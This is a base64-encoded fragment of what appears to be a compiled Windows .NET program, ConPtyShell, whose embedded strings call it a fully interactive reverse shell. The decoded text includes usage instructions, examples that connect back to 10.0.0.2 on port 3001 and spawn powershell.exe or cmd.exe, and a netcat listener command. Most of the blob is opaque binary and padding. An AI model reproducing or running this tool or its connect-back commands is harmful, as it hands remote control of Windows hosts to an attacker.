dABlAC4AIAAANUMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABwAHIAbwBjAGUAcwBzAC4AIAAAAQARawBlAHIAbgBlAGwAMwAyAAAnQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAAgJUNAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAbwB1AG4AZAAhACAAUwBwAGEAdwBuAGkAbgBnACAAYQAgAGYAdQBsAGwAeQAgAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAHMAaABlAGwAbAANAAoAAFV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAbwBuAG4AZQBjAHQAIAB0AG8AIABpAHAAIAB7ADEAfQAgAG8AbgAgAHAAbwByAHQAIAB7ADIAfQAAOXsAewB7AEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgB9AH0AfQANAAoAAGV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAcABzAHUAZQBkAG8AIABjAG8AbgBzAG8AbABlAC4AIABFAHIAcgBvAHIAIABDAG8AZABlACAAewAxAH0AAIC5QwBvAHUAbABkACAAbgBvAHQAIAB1AHAAZwByAGEAZABlACAAcwBoAGUAbABsACAAdABvACAAZgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAYgBlAGMAYQB1AHMAZQAgAEMAbwBuAFAAVABZACAAaQBzACAAbgBvAHQAIABjAG8AbQBwAGEAdABpAGIAbABlACAAbwBuACAAdABoAGkAcwAgAHMAeQBzAHQAZQBtAACArw0ACgBDAHIAZQBhAHQAZQBQAHMAZQB1AGQAbwBDAG8AbgBzAG8AbABlACAAZgB1AG4AYwB0AGkAbwBuACAAbgBvAHQAIABmAG8AdQBuAGQAIQAgAFMAcABhAHcAbgBpAG4AZwAgAGEAIABuAGUAdABjAGEAdAAtAGwAaQBrAGUAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIABzAGgAZQBsAGwALgAuAC4ADQAKAAE5QwBvAG4AUAB0AHkAUwBoAGUAbABsACAAawBpAG4AZABsAHkAIABlAHgAaQB0AGUAZAAuAA0ACgAABS0AaAABDS0ALQBoAGUAbABwAAEFLwA/AACAuQ0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAE4AbwB0ACAAZQBuAG8AdQBnAGgAIABhAHIAZwB1AG0AZQBuAHQAcwAuACAAMgAgAEEAcgBnAHUAbQBlAG4AdABzACAAcgBlAHEAdQBpAHIAZQBkAC4AIABVAHMAZQAgAC0ALQBoAGUAbABwACAAZgBvAHIAIABhAGQAZABpAHQAaQBvAG4AYQBsACAAaABlAGwAcAAuAA0ACgABSw0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAEkAbgB2AGEAbABpAGQAIAByAGUAbQBvAHQAZQBJAHAAIAB2AGEAbAB1AGUAAEsNAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsADoAIABJAG4AdgBhAGwAaQBkACAAaQBuAHQAZQBnAGUAcgAgAHYAYQBsAHUAZQAgAAAdcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAAAPdQBwAGcAcgBhAGQAZQAAjqUNAAoADQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgAC0AIABGAHUAbABsAHkAIABJAG4AdABlAHIAYQBjAHQAaQB2AGUAIABSAGUAdgBlAHIAcwBlACAAUwBoAGUAbABsACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzACAADQAKAEEAdQB0AGgAbwByADoAIABzAHAAbABpAG4AdABlAHIAXwBjAG8AZABlAA0ACgBMAGkAYwBlAG4AcwBlADoAIABNAEkAVAANAAoAUwBvAHUAcgBjAGUAOgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AYQBuAHQAbwBuAGkAbwBDAG8AYwBvAC8AQwBvAG4AUAB0AHkAUwBoAGUAbABsAA0ACgAgACAAIAAgAA0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAIAAtACAARgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgAGYAbwByACAAVwBpAG4AZABvAHcAcwANAAoADQAKAFAAcgBvAHAAZQByAGwAeQAgAHMAZQB0ACAAdABoAGUAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAdgBhAGwAdQBlAHMALgAgAFkAbwB1ACAAYwBhAG4AIAByAGUAdAByAGkAZQB2AGUAIABpAHQAIABmAHIAbwBtAA0ACgB5AG8AdQByACAAdABlAHIAbQBpAG4AYQBsACAAdwBpAHQAaAAgAHQAaABlACAAYwBvAG0AbQBhAG4AZAAgACIAcwB0AHQAeQAgAHMAaQB6AGUAIgAuAA0ACgANAAoAWQBvAHUAIABjAGEAbgAgAGEAdgBvAGkAZAAgAHQAbwAgAHMAZQB0ACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHYAYQBsAHUAZQBzACAAaQBmACAAeQBvAHUAIAByAHUAbgAgAHkAbwB1AHIAIABsAGkAcwB0AGUAbgBlAHIADQAKAHcAaQB0AGgAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZAA6AA0ACgAgACAAIAAgAHMAdAB0AHkAIAByAGEAdwAgAC0AZQBjAGgAbwA7ACAAKABzAHQAdAB5ACAAcwBpAHoAZQA7ACAAYwBhAHQAKQAgAHwAIABuAGMAIAAtAGwAdgBuAHAAIAAzADAAMAAxAA0ACgANAAoASQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAYwBoAGEAbgBnAGUAIAB0AGgAZQAgAGMAbwBuAHMAbwBsAGUAIABzAGkAegBlACAAZABpAHIAZQBjAHQAbAB5ACAAZgByAG8AbQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwADQAKAHkAbwB1ACAAYwBhAG4AIABwAGEAcwB0AGUAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZABzADoADQAKACAAIAAgACAAJAB3AGkAZAB0AGgAPQA4ADAADQAKACAAIAAgACAAJABoAGUAaQBnAGgAdAA9ADIANAANAAoAIAAgACAAIAAkAEgAbwBzAHQALgBVAEkALgBSAGEAdwBVAEkALgBCAHUAZgBmAGUAcgBTAGkAegBlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAAKAAkAHcAaQBkAHQAaAAsACAAJABoAGUAaQBnAGgAdAApAA0ACgAgACAAIAAgACQASABvAHMAdAAuAFUASQAuAFIAYQB3AFUASQAuAFcAaQBuAGQAbwB3AFMAaQB6AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJAB3AGkAZAB0AGgALAAgACQAaABlAGkAZwBoAHQAKQANAAoADQAKAFUAcwBhAGcAZQA6AA0ACgAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAcgBlAG0AbwB0AGUAXwBpAHAAIAByAGUAbQBvAHQAZQBfAHAAbwByAHQAIABbAHIAbwB3AHMAXQAgAFsAYwBvAGwAcwBdACAAWwBjAG8AbQBtAGEAbgBkAGwAaQBuAGUAXQANAAoADQAKAFAAbwBzAGkAdABpAG8AbgBhAGwAIABhAHIAZwB1AG0AZQBuAHQAcwA6AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AaQBwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABpAHAAIAB0AG8AIABjAG8AbgBuAGUAYwB0AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AcABvAHIAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABwAG8AcgB0ACAAdABvACAAYwBvAG4AbgBlAGMAdAANAAoAIAAgACAAIABbAHIAbwB3AHMAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAG8AdwBzACAAcwBpAHoAZQAgAGYAbwByACAAdABoAGUAIABjAG8AbgBzAG8AbABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAMgA0ACIADQAKACAAIAAgACAAWwBjAG8AbABzAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQwBvAGwAcwAgAHMAaQB6AGUAIABmAG8AcgAgAHQAaABlACAAYwBvAG4AcwBvAGwAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiADgAMAAiAA0ACgAgACAAIAAgAFsAYwBvAG0AbQBhAG4AZABsAGkAbgBlAF0AIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAYwBvAG0AbQBhAG4AZABsAGkAbgBlACAAbwBmACAAdABoAGUAIABwAHIAbwBjAGUAcwBzACAAdABoAGEAdAAgAHkAbwB1ACAAYQByAGUAIABnAG8AaQBuAGcAIAB0AG8AIABpAG4AdABlAHIAYQBjAHQADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAARABlAGYAYQB1AGwAdAA6ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAANAAoARQB4AGEAbQBwAGwAZQBzADoADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwADQAKACAAIAAgACAAIAAgACAAIABDAG8AbgBQAHQAeQBTAGgAZQBsAGwALgBlAHgAZQAgADEAMAAuADAALgAwAC4AMgAgADMAMAAwADEADQAKACAAIAAgACAADQAKACAAIAAgACAAUwBwAGEAdwBuACAAYQAgAHIAZQB2AGUAcgBzAGUAIABzAGgAZQBsAGwAIAB3AGkAdABoACAAcwBwAGUAYwBpAGYAaQBjACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHMAaQB6AGUADQAKACAAIAAg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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAAADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYoAAAbAIAAAAAAAAAAAAAbAI0AAAAVgBTAF8AVgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAAAAAAAAAAAAAAAAAAAAD8AAAAAAAAABAAAAAEAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQABAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBMwBAAABAFMAdAByAGkAbgBnAEYAaQBsAGUASQBuAGYAbwAAAKgBAAABADAAMAAwADAAMAA0AGIAMAAAACwAAgABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAAAgAAAAMAAIAAEARgBpAGwAZQBWAGUAcgBzAGkAbwBuAAAAAAAwAC4AMAAuADAALgAwAAAATAAVAAEASQBuAHQAZQByAG4AYQBsAE4AYQBtAGUAAABDAG8AbgBQAHQAeQBTAGgAZQBsAGwAXwBuAGUAdAAyAC4AZQB4AGUAAAAAACgAAgABAEwAZQBnAGEAbABDAG8AcAB5AHIAaQBnAGgAdAAAACAAAABUABUAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAF8AbgBlAHQAMgAuAGUAeABlAAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAwAC4AMAAuADAALgAwAAAAOAAIAAEAQQBzAHMAZQBtAGIAbAB5ACAAVgBlAHIAcwBpAG8AbgAAADAALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA